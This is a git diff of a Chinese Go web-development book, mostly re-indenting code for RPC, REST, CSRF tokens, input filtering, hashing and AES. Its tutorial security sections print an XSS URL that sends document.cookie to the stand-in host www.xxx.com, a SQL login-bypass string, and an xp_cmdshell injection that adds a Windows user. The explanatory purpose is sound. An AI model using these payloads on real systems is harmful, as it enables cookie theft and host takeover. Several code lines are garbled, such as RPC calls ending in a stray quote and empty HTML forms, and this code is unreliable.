r.FormValue("uid") - uid := ps.ByName("uid") - fmt.Fprintf(w, "you are add user %s", uid) - } - - func main() { - router := httprouter.New() - router.GET("/", Index) - router.GET("/hello/:name", Hello) - - router.GET("/user/:uid", getuser) - router.POST("/adduser/:uid", adduser) - router.DELETE("/deluser/:uid", deleteuser) - router.PUT("/moduser/:uid", modifyuser) - - log.Fatal(http.ListenAndServe(":8080", router)) - } +package main + +import ( + "fmt" + "log" + "net/http" + + "github.com/julienschmidt/httprouter" +) + +func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { + fmt.Fprint(w, "Welcome!\n") +} + +func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + fmt.Fprintf(w, "hello, %s!\n", ps.ByName("name")) +} + +func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are get user %s", uid) +} + +func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are modify user %s", uid) +} + +func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are delete user %s", uid) +} + +func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { + // uid := r.FormValue("uid") + uid := ps.ByName("uid") + fmt.Fprintf(w, "you are add user %s", uid) +} + +func main() { + router := httprouter.New() + router.GET("/", Index) + router.GET("/hello/:name", Hello) + + router.GET("/user/:uid", getuser) + router.POST("/adduser/:uid", adduser) + router.DELETE("/deluser/:uid", deleteuser) + router.PUT("/moduser/:uid", modifyuser) + + log.Fatal(http.ListenAndServe(":8080", router)) +} ``` 上面的代码演示了如何编写一个REST的应用,我们访问的资源是用户,我们通过不同的method来访问不同的函数,这里使用了第三方库`github.com/julienschmidt/httprouter`,在前面章节我们介绍过如何实现自定义的路由器,这个库实现了自定义路由和方便的路由规则映射,通过它,我们可以很方便的实现REST的架构。通过上面的代码可知,REST就是根据不同的method访问同一个资源的时候实现不同的逻辑处理。 diff --git a/zh/08.4.md b/zh/08.4.md index 086c22583..3da58db5a 100644 --- a/zh/08.4.md +++ b/zh/08.4.md @@ -47,50 +47,50 @@ http的服务端代码实现如下: ```Go - package main +package main - import ( - "errors" - "fmt" - "net/http" - "net/rpc" - ) +import ( + "errors" + "fmt" + "net/http" + "net/rpc" +) - type Args struct { - A, B int - } +type Args struct { + A, B int +} - type Quotient struct { - Quo, Rem int - } +type Quotient struct { + Quo, Rem int +} - type Arith int +type Arith int - func (t *Arith) Multiply(args *Args, reply *int) error { - *reply = args.A * args.B - return nil - } +func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil +} - func (t *Arith) Divide(args *Args, quo *Quotient) error { - if args.B == 0 { - return errors.New("divide by zero") - } - quo.Quo = args.A / args.B - quo.Rem = args.A % args.B - return nil +func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil +} - func main() { +func main() { - arith := new(Arith) - rpc.Register(arith) - rpc.HandleHTTP() + arith := new(Arith) + rpc.Register(arith) + rpc.HandleHTTP() - err := http.ListenAndServe(":1234", nil) - if err != nil { - fmt.Println(err.Error()) - } + err := http.ListenAndServe(":1234", nil) + if err != nil { + fmt.Println(err.Error()) } +} ``` 通过上面的例子可以看到,我们注册了一个Arith的RPC服务,然后通过`rpc.HandleHTTP`函数把该服务注册到了HTTP协议上,然后我们就可以利用http的方式来传递数据了。 @@ -99,59 +99,59 @@ http的服务端代码实现如下: ```Go - package main +package main - import ( - "fmt" - "log" - "net/rpc" - "os" - ) +import ( + "fmt" + "log" + "net/rpc" + "os" +) - type Args struct { - A, B int - } +type Args struct { + A, B int +} - type Quotient struct { - Quo, Rem int - } +type Quotient struct { + Quo, Rem int +} - func main() { - if len(os.Args) != 2 { - fmt.Println("Usage: ", os.Args[0], "server") - os.Exit(1) - } - serverAddress := os.Args[1] - - client, err := rpc.DialHTTP("tcp", serverAddress+":1234") - if err != nil { - log.Fatal("dialing:", err) - } - // Synchronous call - args := Args{17, 8} - var reply int - err = client.Call("Arith.Multiply", args, &reply) - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) +func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server") + os.Exit(1) + } + serverAddress := os.Args[1] - var quot Quotient - err = client.Call("Arith.Divide", args, ") - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + client, err := rpc.DialHTTP("tcp", serverAddress+":1234") + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + +} ``` 我们把上面的服务端和客户端的代码分别编译,然后先把服务端开启,然后开启客户端,输入代码,就会输出如下信息: ```Go - $ ./http_c localhost - Arith: 17*8=136 - Arith: 17/8=2 remainder 1 +$ ./http_c localhost +Arith: 17*8=136 +Arith: 17/8=2 remainder 1 ``` 通过上面的调用可以看到参数和返回值是我们定义的struct类型,在服务端我们把它们当做调用函数的参数的类型,在客户端作为`client.Call`的第2,3两个参数的类型。客户端最重要的就是这个Call函数,它有3个参数,第1个要调用的函数的名字,第2个是要传递的参数,第3个要返回的参数(注意是指针类型),通过上面的代码例子我们可以发现,使用Go的RPC实现相当的简单,方便。 @@ -159,67 +159,67 @@ http的服务端代码实现如下: 上面我们实现了基于HTTP协议的RPC,接下来我们要实现基于TCP协议的RPC,服务端的实现代码如下所示: ```Go - package main +package main - import ( - "errors" - "fmt" - "net" - "net/rpc" - "os" - ) +import ( + "errors" + "fmt" + "net" + "net/rpc" + "os" +) - type Args struct { - A, B int - } +type Args struct { + A, B int +} - type Quotient struct { - Quo, Rem int - } +type Quotient struct { + Quo, Rem int +} - type Arith int +type Arith int - func (t *Arith) Multiply(args *Args, reply *int) error { - *reply = args.A * args.B - return nil - } +func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil +} - func (t *Arith) Divide(args *Args, quo *Quotient) error { - if args.B == 0 { - return errors.New("divide by zero") - } - quo.Quo = args.A / args.B - quo.Rem = args.A % args.B - return nil +func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil +} - func main() { +func main() { - arith := new(Arith) - rpc.Register(arith) + arith := new(Arith) + rpc.Register(arith) - tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") - checkError(err) + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - rpc.ServeConn(conn) + for { + conn, err := listener.Accept() + if err != nil { + continue } - + rpc.ServeConn(conn) } - func checkError(err error) { - if err != nil { - fmt.Println("Fatal error ", err.Error()) - os.Exit(1) - } +} + +func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) } +} ``` 上面这个代码和http的服务器相比,不同在于:在此处我们采用了TCP协议,然后需要自己控制连接,当有客户端连接上来后,我们需要把这个连接交给rpc来处理。 @@ -229,51 +229,51 @@ http的服务端代码实现如下: ```Go - package main +package main - import ( - "fmt" - "log" - "net/rpc" - "os" - ) +import ( + "fmt" + "log" + "net/rpc" + "os" +) - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } +type Args struct { + A, B int +} - func main() { - if len(os.Args) != 2 { - fmt.Println("Usage: ", os.Args[0], "server:port") - os.Exit(1) - } - service := os.Args[1] +type Quotient struct { + Quo, Rem int +} - client, err := rpc.Dial("tcp", service) - if err != nil { - log.Fatal("dialing:", err) - } - // Synchronous call - args := Args{17, 8} - var reply int - err = client.Call("Arith.Multiply", args, &reply) - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) +func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + os.Exit(1) + } + service := os.Args[1] - var quot Quotient - err = client.Call("Arith.Divide", args, ") - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + client, err := rpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + +} ``` 这个客户端代码和http的客户端代码对比,唯一的区别一个是DialHTTP,一个是Dial(tcp),其他处理一模一样。 @@ -283,68 +283,68 @@ JSON RPC是数据编码采用了JSON,而不是gob编码,其他和上面介 ```Go - package main +package main - import ( - "errors" - "fmt" - "net" - "net/rpc" - "net/rpc/jsonrpc" - "os" - ) +import ( + "errors" + "fmt" + "net" + "net/rpc" + "net/rpc/jsonrpc" + "os" +) - type Args struct { - A, B int - } +type Args struct { + A, B int +} - type Quotient struct { - Quo, Rem int - } +type Quotient struct { + Quo, Rem int +} - type Arith int +type Arith int - func (t *Arith) Multiply(args *Args, reply *int) error { - *reply = args.A * args.B - return nil - } +func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil +} - func (t *Arith) Divide(args *Args, quo *Quotient) error { - if args.B == 0 { - return errors.New("divide by zero") - } - quo.Quo = args.A / args.B - quo.Rem = args.A % args.B - return nil +func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil +} - func main() { +func main() { - arith := new(Arith) - rpc.Register(arith) + arith := new(Arith) + rpc.Register(arith) - tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") - checkError(err) + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) - for { - conn, err := listener.Accept() - if err != nil { - continue - } - jsonrpc.ServeConn(conn) + for { + conn, err := listener.Accept() + if err != nil { + continue } - + jsonrpc.ServeConn(conn) } - func checkError(err error) { - if err != nil { - fmt.Println("Fatal error ", err.Error()) - os.Exit(1) - } +} + +func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) } +} ``` 通过示例我们可以看出 json-rpc是基于TCP协议实现的,目前它还不支持HTTP方式。 @@ -352,52 +352,52 @@ JSON RPC是数据编码采用了JSON,而不是gob编码,其他和上面介 请看客户端的实现代码: ```Go - package main +package main - import ( - "fmt" - "log" - "net/rpc/jsonrpc" - "os" - ) +import ( + "fmt" + "log" + "net/rpc/jsonrpc" + "os" +) - type Args struct { - A, B int - } +type Args struct { + A, B int +} - type Quotient struct { - Quo, Rem int +type Quotient struct { + Quo, Rem int +} + +func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + log.Fatal(1) } + service := os.Args[1] - func main() { - if len(os.Args) != 2 { - fmt.Println("Usage: ", os.Args[0], "server:port") - log.Fatal(1) - } - service := os.Args[1] + client, err := jsonrpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) - client, err := jsonrpc.Dial("tcp", service) - if err != nil { - log.Fatal("dialing:", err) - } - // Synchronous call - args := Args{17, 8} - var reply int - err = client.Call("Arith.Multiply", args, &reply) - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) - var quot Quotient - err = client.Call("Arith.Divide", args, ") - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) +} - } - ``` ## 总结 Go已经提供了对RPC的良好支持,通过上面HTTP、TCP、JSON RPC的实现,我们就可以很方便的开发很多分布式的Web应用,我想作为读者的你已经领会到这一点。但遗憾的是目前Go尚未提供对SOAP RPC的支持,欣慰的是现在已经有第三方的开源实现了。 diff --git a/zh/09.1.md b/zh/09.1.md index cf09f470e..bf7e98f4f 100644 --- a/zh/09.1.md +++ b/zh/09.1.md @@ -51,8 +51,8 @@ CSRF的防御可以从服务端和客户端两方面着手,防御效果是从 ```Go - mux.Get("/user/:uid", getuser) - mux.Post("/user/:uid", modifyuser) +mux.Get("/user/:uid", getuser) +mux.Post("/user/:uid", modifyuser) ``` 这样处理后,因为我们限定了修改只能使用POST,当GET方式请求时就拒绝响应,所以上面图示中GET方式的CSRF攻击就可以防止了,但这样就能全部解决问题了吗?当然不是,因为POST也是可以模拟的。 @@ -67,38 +67,38 @@ CSRF的防御可以从服务端和客户端两方面着手,防御效果是从 ```Go - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - io.WriteString(h, "ganraomaxxxxxxxxx") - token := fmt.Sprintf("%x", h.Sum(nil)) +h := md5.New() +io.WriteString(h, strconv.FormatInt(crutime, 10)) +io.WriteString(h, "ganraomaxxxxxxxxx") +token := fmt.Sprintf("%x", h.Sum(nil)) - t, _ := template.ParseFiles("login.gtpl") - t.Execute(w, token) +t, _ := template.ParseFiles("login.gtpl") +t.Execute(w, token) ``` 输出token ```html - + ``` 验证token ```Go - r.ParseForm() - token := r.Form.Get("token") - if token != "" { - //验证token的合法性 - } else { - //不存在token报错 - } - +r.ParseForm() +token := r.Form.Get("token") +if token != "" { + //验证token的合法性 +} else { + //不存在token报错 +} + ``` 这样基本就实现了安全的POST,但是也许你会说如果破解了token的算法呢,按照理论上是,但是实际上破解是基本不可能的,因为有人曾计算过,暴力破解该串大概需要2的11次方时间。 ## 总结 -跨站请求伪造,即CSRF,是一种非常危险的Web安全威胁,它被Web安全界称为“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍,还详细说明造成这种漏洞的原因所在,然后以此提了一些防范该攻击的建议,希望对读者编写安全的Web应用能够有所启发。 +跨站请求伪造,即CSRF,是一种非常危险的Web安全威胁,它被Web安全界称为“沉睡的巨人”,其威胁程度有此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍,还详细说明造成这种漏洞的原因所在,然后以此提了一些防范该攻击的建议,希望对读者编写安全的Web应用能够有所启发。 ## links * [目录]() diff --git a/zh/09.2.md b/zh/09.2.md index 14ea04d91..337ccd2c3 100644 --- a/zh/09.2.md +++ b/zh/09.2.md @@ -33,26 +33,26 @@ 接下来,让我们通过一个例子来巩固这些概念,请看下面这个表单 ```html -
- 我是谁: - - -
+
+ 我是谁: + + +
``` 在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择中的一个。其实攻击者可以模拟POST操作,递交`name=attack`这样的数据,所以在此时我们需要做类似白名单的处理 ```Go - r.ParseForm() - name := r.Form.Get("name") - CleanMap := make(map[string]interface{}, 0) - if name == "astaxie" || name == "herry" || name == "marry" { - CleanMap["name"] = name - } +r.ParseForm() +name := r.Form.Get("name") +CleanMap := make(map[string]interface{}, 0) +if name == "astaxie" || name == "herry" || name == "marry" { + CleanMap["name"] = name +} ``` 上面代码中我们初始化了一个CleanMap的变量,当判断获取的name是`astaxie`、`herry`、`marry`三个中的一个之后 @@ -61,13 +61,13 @@ 上面的方法对于过滤一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只能由字母及数字组成: ```Go - r.ParseForm() - username := r.Form.Get("username") - CleanMap := make(map[string]interface{}, 0) - if ok, _ := regexp.MatchString("^[a-zA-Z0-9]+$", username); ok { - CleanMap["username"] = username - } - +r.ParseForm() +username := r.Form.Get("username") +CleanMap := make(map[string]interface{}, 0) +if ok, _ := regexp.MatchString("^[a-zA-Z0-9]+$", username); ok { + CleanMap["username"] = username +} + ``` ## 总结 数据过滤在Web安全中起到一个基石的作用,大多数的安全问题都是由于没有过滤数据和验证数据引起的,例如前面小节的CSRF攻击,以及接下来将要介绍的XSS攻击、SQL注入等都是没有认真地过滤数据引起的,因此我们需要特别重视这部分的内容。 diff --git a/zh/09.3.md b/zh/09.3.md index d778a70cc..4a4c78a65 100644 --- a/zh/09.3.md +++ b/zh/09.3.md @@ -21,7 +21,7 @@ Web应用未对用户提交请求的数据做充分的检查过滤,允许用 hello astaxie -如果我们传递这样的url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。 +如果我们传递这样的url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,这样就可以把当前的cookie发送到指定的站点:`www.xxx.com`。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。 更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章。 @@ -40,9 +40,9 @@ Web应用未对用户提交请求的数据做充分的检查过滤,允许用 ```Go - `w.Header().Set("Content-Type","text/javascript")` +`w.Header().Set("Content-Type","text/javascript")` - 这样就可以让浏览器解析javascript代码,而不会是html输出。 +这样就可以让浏览器解析javascript代码,而不会是html输出。 ``` ## 总结 diff --git a/zh/09.4.md b/zh/09.4.md index 4050c7502..f2708e3b1 100644 --- a/zh/09.4.md +++ b/zh/09.4.md @@ -11,44 +11,44 @@ SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常 考虑以下简单的登录表单: ```html -
-

Username:

-

Password:

-

-
+
+

Username:

+

Password:

+

+
``` 我们的处理里面的SQL可能是这样的: ```Go - username:=r.Form.Get("username") - password:=r.Form.Get("password") - sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'" +username:=r.Form.Get("username") +password:=r.Form.Get("password") +sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'" ``` 如果用户的输入的用户名如下,密码任意 ```Go - myuser' or 'foo' = 'foo' -- +myuser' or 'foo' = 'foo' -- ``` 那么我们的SQL变成了如下所示: ```Go - SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' +SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' ``` 在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。 对于MSSQL还有更加危险的一种SQL注入,就是控制系统,下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。 ```Go - sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" - Db.Exec(sql) +sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" +Db.Exec(sql) ``` 如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值,那么sql将会变成 ```Go - sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" +sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" ``` MSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。 diff --git a/zh/09.5.md b/zh/09.5.md index fedf7145e..b7cc71ee3 100644 --- a/zh/09.5.md +++ b/zh/09.5.md @@ -9,20 +9,20 @@ Go语言对这三种加密算法的实现如下所示: ```Go - //import "crypto/sha256" - h := sha256.New() - io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") - fmt.Printf("% x", h.Sum(nil)) +//import "crypto/sha256" +h := sha256.New() +io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") +fmt.Printf("% x", h.Sum(nil)) - //import "crypto/sha1" - h := sha1.New() - io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") - fmt.Printf("% x", h.Sum(nil)) +//import "crypto/sha1" +h := sha1.New() +io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") +fmt.Printf("% x", h.Sum(nil)) - //import "crypto/md5" - h := md5.New() - io.WriteString(h, "需要加密的密码") - fmt.Printf("%x", h.Sum(nil)) +//import "crypto/md5" +h := md5.New() +io.WriteString(h, "需要加密的密码") +fmt.Printf("%x", h.Sum(nil)) ``` 单向哈希有两个特性: @@ -44,25 +44,25 @@ Go语言对这三种加密算法的实现如下所示: ```Go - //import "crypto/md5" - //假设用户名abc,密码123456 - h := md5.New() - io.WriteString(h, "需要加密的密码") +//import "crypto/md5" +//假设用户名abc,密码123456 +h := md5.New() +io.WriteString(h, "需要加密的密码") - //pwmd5等于e10adc3949ba59abbe56e057f20f883e - pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) +//pwmd5等于e10adc3949ba59abbe56e057f20f883e +pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) - //指定两个 salt: salt1 = @#$% salt2 = ^&*() - salt1 := "@#$%" - salt2 := "^&*()" +//指定两个 salt: salt1 = @#$% salt2 = ^&*() +salt1 := "@#$%" +salt2 := "^&*()" - //salt1+用户名+salt2+MD5拼接 - io.WriteString(h, salt1) - io.WriteString(h, "abc") - io.WriteString(h, salt2) - io.WriteString(h, pwmd5) +//salt1+用户名+salt2+MD5拼接 +io.WriteString(h, salt1) +io.WriteString(h, "abc") +io.WriteString(h, salt2) +io.WriteString(h, pwmd5) - last :=fmt.Sprintf("%x", h.Sum(nil)) +last :=fmt.Sprintf("%x", h.Sum(nil)) ``` 在两个salt没有泄露的情况下,黑客如果拿到的是最后这个加密串,就几乎不可能推算出原始的密码是什么了。 @@ -76,12 +76,12 @@ Go语言对这三种加密算法的实现如下所示: 这里推荐`scrypt`方案,scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。 -目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt +目前Go语言里面支持的库 https://github.com/golang/crypto/tree/master/scrypt ```Go - dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) +dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) ``` -通过上面的的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。 +通过上面的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。 ## 总结 看到这里,如果你产生了危机感,那么就行动起来: diff --git a/zh/09.6.md b/zh/09.6.md index b4a69fc9a..7503dbdf3 100644 --- a/zh/09.6.md +++ b/zh/09.6.md @@ -6,38 +6,38 @@ ```Go - package main - - import ( - "encoding/base64" - "fmt" - ) - - func base64Encode(src []byte) []byte { - return []byte(base64.StdEncoding.EncodeToString(src)) +package main + +import ( + "encoding/base64" + "fmt" +) + +func base64Encode(src []byte) []byte { + return []byte(base64.StdEncoding.EncodeToString(src)) +} + +func base64Decode(src []byte) ([]byte, error) { + return base64.StdEncoding.DecodeString(string(src)) +} + +func main() { + // encode + hello := "你好,世界! hello world" + debyte := base64Encode([]byte(hello)) + fmt.Println(debyte) + // decode + enbyte, err := base64Decode(debyte) + if err != nil { + fmt.Println(err.Error()) } - func base64Decode(src []byte) ([]byte, error) { - return base64.StdEncoding.DecodeString(string(src)) + if hello != string(enbyte) { + fmt.Println("hello is not equal to enbyte") } - func main() { - // encode - hello := "你好,世界! hello world" - debyte := base64Encode([]byte(hello)) - fmt.Println(debyte) - // decode - enbyte, err := base64Decode(debyte) - if err != nil { - fmt.Println(err.Error()) - } - - if hello != string(enbyte) { - fmt.Println("hello is not equal to enbyte") - } - - fmt.Println(string(enbyte)) - } + fmt.Println(string(enbyte)) +} ``` ## 高级加解密 @@ -50,70 +50,70 @@ Go语言的`crypto`里面支持对称加密的高级加解密包有: 因为这两种算法使用方法类似,所以在此,我们仅用aes包为例来讲解它们的使用,请看下面的例子 ```Go - package main - - import ( - "crypto/aes" - "crypto/cipher" - "fmt" - "os" - ) - - var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} - - func main() { - //需要去加密的字符串 - plaintext := []byte("My name is Astaxie") - //如果传入加密串的话,plaint就是传入的字符串 - if len(os.Args) > 1 { - plaintext = []byte(os.Args[1]) - } - - //aes的加密字符串 - key_text := "astaxie12798akljzmknm.ahkjkljl;k" - if len(os.Args) > 2 { - key_text = os.Args[2] - } - - fmt.Println(len(key_text)) - - // 创建加密算法aes - c, err := aes.NewCipher([]byte(key_text)) - if err != nil { - fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) - os.Exit(-1) - } - - //加密字符串 - cfb := cipher.NewCFBEncrypter(c, commonIV) - ciphertext := make([]byte, len(plaintext)) - cfb.XORKeyStream(ciphertext, plaintext) - fmt.Printf("%s=>%x\n", plaintext, ciphertext) - - // 解密字符串 - cfbdec := cipher.NewCFBDecrypter(c, commonIV) - plaintextCopy := make([]byte, len(plaintext)) - cfbdec.XORKeyStream(plaintextCopy, ciphertext) - fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) +package main + +import ( + "crypto/aes" + "crypto/cipher" + "fmt" + "os" +) + +var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} + +func main() { + //需要去加密的字符串 + plaintext := []byte("My name is Astaxie") + //如果传入加密串的话,plaint就是传入的字符串 + if len(os.Args) > 1 { + plaintext = []byte(os.Args[1]) + } + + //aes的加密字符串 + key_text := "astaxie12798akljzmknm.ahkjkljl;k" + if len(os.Args) > 2 { + key_text = os.Args[2] + } + + fmt.Println(len(key_text)) + + // 创建加密算法aes + c, err := aes.NewCipher([]byte(key_text)) + if err != nil { + fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) + os.Exit(-1) } + //加密字符串 + cfb := cipher.NewCFBEncrypter(c, commonIV) + ciphertext := make([]byte, len(plaintext)) + cfb.XORKeyStream(ciphertext, plaintext) + fmt.Printf("%s=>%x\n", plaintext, ciphertext) + + // 解密字符串 + cfbdec := cipher.NewCFBDecrypter(c, commonIV) + plaintextCopy := make([]byte, len(plaintext)) + cfbdec.XORKeyStream(plaintextCopy, ciphertext) + fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) +} + ``` 上面通过调用函数`aes.NewCipher`(参数key必须是16、24或者32位的[]byte,分别对应AES-128, AES-192或AES-256算法),返回了一个`cipher.Block`接口,这个接口实现了三个功能: ```Go - type Block interface { - // BlockSize returns the cipher's block size. - BlockSize() int +type Block interface { + // BlockSize returns the cipher's block size. + BlockSize() int - // Encrypt encrypts the first block in src into dst. - // Dst and src may point at the same memory. - Encrypt(dst, src []byte) + // Encrypt encrypts the first block in src into dst. + // Dst and src may point at the same memory. + Encrypt(dst, src []byte) - // Decrypt decrypts the first block in src into dst. - // Dst and src may point at the same memory. - Decrypt(dst, src []byte) - } + // Decrypt decrypts the first block in src into dst. + // Dst and src may point at the same memory. + Decrypt(dst, src []byte) +} ``` 这三个函数实现了加解密操作,详细的操作请看上面的例子。 diff --git a/zh/10.1.md b/zh/10.1.md index 5da954309..08a1836cc 100644 --- a/zh/10.1.md +++ b/zh/10.1.md @@ -11,7 +11,7 @@ GO语言默认采用"UTF-8"编码集,所以我们实现i18n时不考虑第三 